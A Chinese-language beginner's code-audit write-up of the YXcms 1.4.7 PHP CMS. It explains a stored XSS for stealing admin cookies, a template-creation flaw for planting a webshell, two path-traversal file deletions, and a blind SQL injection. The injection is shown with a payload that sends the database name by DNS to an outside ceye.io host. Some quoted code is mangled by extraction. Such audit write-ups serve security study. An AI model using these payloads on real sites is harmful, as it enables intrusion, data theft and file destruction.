代码审计——YXCMS

前言

YXcms是一个代码审计入门级的cms,比较适合想我这样的小白玩家进行操作。。。

我一直想尝试审计一个cms，但是因为各种原因，一直搁置了。

尝试分析一下YXCMS。。。

相关环境

源码信息 : Yxcms php建站系统 1.4.7
本地环境 : phpstudy2018
下载地址 : 175.6.244.211:88/uploads/userup/1596/YXcmsApp1.4.7.zip

安装环境

具体的安装和使用的详细可以上官网查看https://www.kancloud.cn/yongheng/yxcms

YXcms代码审计

YXcms目录结构

YXcms1.4.7是mvc路由模式开发的。。。
这个版本后台有好几个严重漏洞，
前台有一个储存型XSS，要利用也需与管理员交互。

我们一个一个来进行分析。。。

前台存储型XSS

漏洞复现

前台有留言板的功能，进行测试：

当管理员在后台查看留言的时候，就能触发xss：

可以通过这个xss来获取管理员的COOKIE，从而进入网站后台。。

代码分析

让我们看一下代码的实现：
首先前台留言板的代码：

前台的文件源码protected/apps/default/controller/columnController.php

public function index()
{
$ename=in($_GET['col']);
if(empty($ename)) throw new Exception('栏目名不能为空~', 404);
$sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid');
$path=$sortinfo['path'].','.$sortinfo['id'];
$deep=$sortinfo['deep']+1;
$this->col=$ename;
switch ($sortinfo['type']) {
case 1://文章
$this->newslist($sortinfo,$path,$deep);
break;
case 2://图集
$this->photolist($sortinfo,$path,$deep);
break;
case 3://单页
$this->page($sortinfo,$path,$deep);
break;
case 4://应用
break;
case 5://自定义
break;
case 6://表单
$this->extend($sortinfo,$path,$deep);
break;
default:
throw new Exception('未知的栏目类型~', 404);
break;
}
}
...
protected function extend($sortinfo,$path,$deep)
{
$tableid=$sortinfo['extendid'];
if(empty($tableid)) $this->error('表单栏目不存在~');
$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
if(empty($tableinfo)) $this->error('自定义表不存在~');
$urls=explode('|', $sortinfo['url']);
// var_dump($tableinfo);
// var_dump($urls);
// exit();
if (!$this->isPost()) {
...
}else{
session_starts();
$verify=session('verify');
session('verify',null);
if(empty($verify) || $_POST['checkcode']!=$verify) $this->error('验证码错误，请重新输入');
for($i=1;$i if(is_array($_POST[$tableinfo[$i]['tableinfo']])){
$data[$tableinfo[$i]['tableinfo']]=in(deletehtml(implode(',',$_POST[$tableinfo[$i]['tableinfo']])));
$data[$tableinfo[$i]['tableinfo']]=$data[$tableinfo[$i]['tableinfo']]?in(deletehtml($data[$tableinfo[$i]['tableinfo']])):'';
}else{
if(strlen($_POST[$tableinfo[$i]['tableinfo']])>65535) $this->error('提交内容超过限制长度~');
$data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']],true);
}
}
$data['ip']=get_client_ip();
$data['ispass']=0;
$data['addtime']=time();
if(empty($urls[1])) $jump=$_SERVER['HTTP_REFERER'];
else{
$jurl=explode(',',$urls[1]);
if(!empty($jurl[1])){
$arr=explode('/',$jurl[1]);
if(!empty($arr)){
$canshu=array();
foreach ($arr as $vo) {
$val=explode('=',$vo);
$canshu[$val[0]]=$val[1];
}
}
}
$jump=url($jurl[0],$canshu);
}
$mes=$urls[2]?$urls[2]:'提交成功请等待审核~';
if(model('extend')->Extin($tableinfo[0]['tableinfo'],$data)) $this->success($mes,$jump);
else $this->error('提交失败~');
}
}


这里前端对xss过滤不完善。。
只对tname参数进行了验证deletehtml和html_in

deletehtml函数
/protected/include/lib/common.function.php

//去除html js标签
function deletehtml($document) {
$document = trim($document);
if (strlen($document) <= 0)
{
return $document;
}
$search = array ("''si", // 去掉 Javascript
"'<[/!]*?[^<>]*?>'si", // 去掉 HTML 标记
"'([rn])[s]+'", // 去掉空白字符
"'&(quot|#34);'i", // 替换 HTML 实体
"'&(amp|#38);'i",
"'&(lt|#60);'i",
"'&(gt|#62);'i",
"'&(nbsp|#160);'i"
); // 作为 PHP 代码运行
$replace = array ("",
"",
"\1",
""",
"&",
"<",
">",
" "
);
return @preg_replace ($search, $replace, $document);
}


html_in函数 对html代码进行xss识别，看是否存在危险的html标签对，并进行过滤
使用htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。：

/protected/include/lib/common.function.php

//html代码输入
function html_in($str,$filter=false){
if($filter){
$str=RemoveXSS($str);
}
$str=htmlspecialchars($str);
if(!get_magic_quotes_gpc()) {
$str = addslashes($str);
}
return $str;
}


RemoveXSS函数 对一些危险的标签对 进行了过滤，使其不能进行正常的xss功能，：

function RemoveXSS($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as
// note that you have to handle splits with n, r, and t later since they *are* allowed in some inputs
$val = preg_replace('/([x00-x08,x0b-x0c,x0e-x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|'\';
for ($i = 0; $i // ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&＃[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(&＃0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are t, n, and r
$ra1 = Array('Javascript', 'Vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i $pattern = '/';
for ($j = 0; $j if ($j > 0) {
$pattern .= '(';
$pattern .= '(&＃[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(&＃0{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).''.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}


测试了一下，发现前端输入在数据库中会被存储为

我们在来看看后端的代码：
后台的文件源码protected/apps/admin/controller/extendfieldController.php

public function mesedit()
{
$tableid=intval($_GET['tabid']);
if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
$id=intval($_GET['id']);//信息id
if(empty($tableid) || empty($id) ) $this->error('参数错误~');
$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
if(empty($tableinfo)) $this->error('自定义表不存在~');
if (!$this->isPost()) {
$info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
// var_dump($info);
// exit();
$this->info=$info;
$this->tableid=$tableid;
$this->id=$id;
$this->tableinfo=$tableinfo;
$this->display();
}else{
for($i=1;$i if(is_array($_POST[$tableinfo[$i]['tableinfo']]))
$data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]);
else
$data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]);
}
if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修改成功~',url('extendfield/meslist',array('id'=>$tableid)));
else $this->error('信息修改失败~');
}
}


直接从数据库中取值，然后就是正常的给页面返回值了：

实现代码：
/protected/apps/admin/view/extendfield_mesedit.php


$cont.='';
for($i=1;$i $cont.= ''.$tableinfo[$i]['name'].'：';
switch ($tableinfo[$i]['type']) {
case 1:
$cont.= '';
break;
case 2:
$cont.= ''.$info[$tableinfo[$i]['tableinfo']].'';
break;
case 3:
$cont.= ''.html_out($info[$tableinfo[$i]['tableinfo']]).'';
break;
case 4:
$cont.= '';
$chooses=explode("rn",$tableinfo[$i]['defvalue']);
$flog=false;
foreach ($chooses as $vo) {
$vos=explode(",",$vo);
if($info[$tableinfo[$i]['tableinfo']]==$vos[0]) {
$flog=true;
$cont.=''.$vos[1].'';
}else{
$cont.=''.$vos[1].'';
}
}
if(!$flog) $cont.='=没有选择=';
$cont.= '';
break;
case 5:
$cont.= '';
$cont.= '';
break;
case 6:
$chooses=explode("rn",$tableinfo[$i]['defvalue']);
foreach ($chooses as $vo) {
$vos=explode(",",$vo);
$nowval=array();
$nowval=explode(",",$info[$tableinfo[$i]['tableinfo']]);
$cont.= (in_array($vos[0],$nowval))?$vos[1].'':$vos[1].'
';
}
break;
}
$cont.= '';
}
echo $cont;


只有case3 使用了html_out函数，

这个html_out函数操作就很骚。。。
在html代码输出利用htmlspecialchars_decode将特殊的 HTML 实体转换回普通字符。。那么上面的被实体化的又被转换了回来。。。就可能会有XSS漏洞。。。

/protected/include/lib/common.function.php

//html代码输出
function html_out($str){
if(function_exists('htmlspecialchars_decode'))
$str=htmlspecialchars_decode($str);
else
$str=html_entity_decode($str);
$str = stripslashes($str);
return $str;
}


别的参数，都被html实体化了为： ，只有留言内容用了html_out函数，被转换了回来。。
被转换为了 但是存在
测试了一下竟然成功xss：

是因为这个富文本编译器的原因导致的xss导致了被吞，只剩下执行了xss代码。(这里有点不是很清晰，找文章也没找到一个合理的解释，如果有大佬知道原理，请告诉我一下)

可以利用这个漏洞来获取管理员的COOKIE，进入后台。。。

任意文件写入(getshell)

漏洞复现

进入网站后台。
/index.php?r=admin/set/tpadd&Mname=default
新建模板文件：

可以创建任意的文件。。
通过目录结构，可以找到新的模板文件的位置/protected/apps/default/view/default/phpinfo.php

可以看到是我们写入的文件被执行了，所有可以写入一句话木马，来进行getshell。。

代码分析

代码位置protected/apps/admin/controller/setController.php：

public function tpadd()
{
$tpfile=$_GET['Mname'];
if(empty($tpfile)) $this->error('非法操作~');
$templepath=BASE_PATH . $this->tpath.$tpfile.'/';
if($this->isPost()){
$filename=trim($_POST['filename']);
$code=stripcslashes($_POST['code']);
if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空');
$filepath=$templepath.$filename.'.php';
if($this->ifillegal($filepath)) {$this->error('非法的文件路径~');exit;}
try{
file_put_contents($filepath, $code);
} catch(Exception $e) {
$this->error('模板文件创建失败！');
}
$this->success('模板文件创建成功！',url('set/tplist',array('Mname'=>$tpfile)));
}else{
$this->tpfile=$tpfile;
$this->display();
}
}


这里$_GET['Mname']是新增模板文件的模板名字。。如果没有就会error('非法操作~');
新增模板的文件名和文件内容 是通过post进行传输的。

这里的文件保存路径就是$templepath=protected/apps/default/view/default/

然后对文件名和文件内容进行了非空验证if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空'); 别的没有验证。。。

验证了一下文件的路径：if($this->ifillegal($filepath)) {$this->error('非法的文件路径~');exit;}
追踪这个函数ifillegal:
代码位置/protected/apps/admin/controller/setController.php

protected function ifillegal($path)
{
if(strstr($path,"./")||strstr($path,".\")||!strstr($path,"/view/")) return true;
else return false;
}


也没有什么问题，然后就可以创建模板文件了。。

看完代码发现对文件内容没有任何的要求，直接getshell,这种管理员直接可以创建可执行文件的行为是很危险的。。。

任意文件删除(一)

漏洞复现

这个漏洞还是在后台。。。
看到了这里有一个删除的按钮

点击删除，进行抓包：

通过控制fname参数可以实现任意文件删除的功能。。

代码分析

代码位置protected/apps/admin/controller/filesController.php：

public function del()
{
$dirs=in($_GET['fname']);
$dirs=str_replace(',','/',$dirs);
$dirs=ROOT_PATH.'upload'.$dirs;
if(is_dir($dirs)){del_dir($dirs); echo 1;}
elseif(file_exists($dirs)){
if(unlink($dirs)) echo 1;
}else echo '文件不存在';
}


对fname进行替换操作str_replace(',','/',$dirs);
讲参数最前面的分号(%2C)替换为/

然后完整的拼接路径，看文件是否存在，存在就进行删除。。。
这里没有读传入的参数进行过滤，
可以及逆行上跳目录，从而达到任意文件删除的效果。。。

任意文件删除(二)

漏洞复现

漏洞位置一如既往的还在后台：

在对文章编辑的页面上，发现存在删除已上传的图片的功能。。

设置抓包，点击删除：

虽然显示的是缩略图不存在，但是通过查看发现已经删除了123.txt这个文件

也是存在任意文件删除

代码分析

代码位置/protected/apps/admin/controller/photoController.php

public function delpic()
{
if(empty($_POST['picname'])) $this->error('参数错误~');
$picname=$_POST['picname'];
$path=$this->uploadpath;
if(file_exists($path.$picname))
@unlink($path.$picname);
else{echo '图片不存在~';return;}
if(file_exists($path.'thumb_'.$picname))
@unlink($path.'thumb_'.$picname);
else {echo '缩略图不存在~';return;}
echo '原图以及缩略图删除成功~';
}


这个代码和上面的那个任意文件删除，差不多，都是对参数的过滤不严谨，导致可以上跳目录，删除任意文件。。。

SQL注入

漏洞复现

url:/index.php?r=admin/fragment/index

利用ceye得到的回显。。。
用bp抓包，修改id为 payload:2 and if((select load_file(concat('\\',(select database()),'.36rdia.ceye.io\abc'))),2,2)

在ceye上面可以得到回显：

得到了数据库名称yxcms

代码分析

代码位置protected/apps/admin/controller/fragmentController.php

public function del()
{
if(!$this->isPost()){
$id=intval($_GET['id']);
if(empty($id)) $this->error('您没有选择~');
if(model('fragment')->delete("id='$id'"))
echo 1;
else echo '删除失败~';
}else{
if(empty($_POST['delid'])) $this->error('您没有选择~');
$delid=implode(',',$_POST['delid']);
if(model('fragment')->delete('id in ('.$delid.')'))
$this->success('删除成功',url('fragment/index'));
}
}


主要就是这一句话if(model('fragment')->delete('id in ('.$delid.')'))

追踪一下这个delete函数

先找一下这个fragmentModel
代码位置：protected/apps/admin/model/fragmentModel.php

class fragmentModel extends baseModel{
protected $table = 'fragment';
}


发现没有任何东西，去这个baseModel里面找一下

代码位置：protected/base/model/baseModel.php

class baseModel extends model{
protected $prefix='';
public function __construct( $database= 'DB',$force = false ){
parent::__construct();
$this->prefix=config('DB_PREFIX');
}
}


看一下这个model

代码位置：protected/base/model/model.php

public function delete($condition){
return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();
}


这里又有一个delete()，这个应该还要找一下：

位置：protected/include/core/cpModel.class.php,

public function delete() {
$table = $this->options['table']; //当前表
$where = $this->_parseCondition(); //条件
if ( empty($where) ) return false; //删除条件为空时，则返回false，避免数据不小心被全部删除
$this->sql = "DELETE FROM $table $where";
$query = $this->db->execute($this->sql);
return $this->db->affectedRows();
}


这里也是为sql语句赋值，然后拼接sql语句的作用。。

获取一下sql语句为DELETE FROM yx_fragment WHERE id in (3)。。。

需要关注这个代码：$where = $this->_parseCondition(); //条件

代码位置：protected/include/core/cpModel.class.php

private function _parseCondition() {
$cOndition= $this->db->parseCondition($this->options);
$this->options['where'] = '';
$this->options['group'] = '';
$this->options['having'] = '';
$this->options['order'] = '';
$this->options['limit'] = '';
$this->options['field'] = '*';
return $condition;
}


这里$cOndition= $this->db->parseCondition($this->options);

看一下parseCondition这个函数：

位置protected/include/core/db/cpMysql.class.php

public function parseCondition($options) {
$cOndition= "";
if(!empty($options['where'])) {
$cOndition= " WHERE ";
if(is_string($options['where'])) {
$condition .= $options['where'];
} else if(is_array($options['where'])) {
foreach($options['where'] as $key => $value) {
$condition .= " `$key` = " . $this->escape($value) . " AND ";
}
$cOndition= substr($condition, 0,-4);
} else {
$cOndition= "";
}
}
if( !empty($options['group']) && is_string($options['group']) ) {
$condition .= " GROUP BY " . $options['group'];
}
if( !empty($options['having']) && is_string($options['having']) ) {
$condition .= " HAVING " . $options['having'];
}
if( !empty($options['order']) && is_string($options['order']) ) {
$condition .= " ORDER BY " . $options['order'];
}
if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) {
$condition .= " LIMIT " . $options['limit'];
}
if( empty($condition) ) return "";
return $condition;
}


大部分代码都是为变量赋值的，
里面有一句代码escape($value) 应该是一个过滤函数

查看一下这个函数escape

//数据过滤
public function escape($value) {
if( isset($this->_readLink) ) {
$link = $this->_readLink;
} elseif( isset($this->_writeLink) ) {
$link = $this->_writeLink;
} else {
$link = $this->_getReadLink();
}
if( is_array($value) ) {
return array_map(array($this, 'escape'), $value);
} else {
if( get_magic_quotes_gpc() ) {
$value = stripslashes($value);
}
return "'" . mysql_real_escape_string($value, $link) . "'";
}
}


发现只有当我们传入的值为数组的时候，会对数组中的每个参数进行mysql_real_escape_string()函数进行处理。

sql语句为DELETE FROM yx_fragment WHERE id in ($id)

由于注入语句并没有单引号包裹，所以说可以直接进行注入，

但是没有页面的回显，可以利用ceye平台进行注入，在那里可以看到注入的回显。进行sql注入。

总结

第一次审计一个cms，虽然这是一个入门级的cms，比较简单，但是也从中学到了点知识。。。

审计代码要有耐心。。。找函数的时候直接用Seay源码审计系统中的全局搜索比较方便，自己乱找的话，心态会崩。。。

参考

https://www.secshi.com/18986.html
ceye
https://xz.aliyun.com/t/2734#toc-0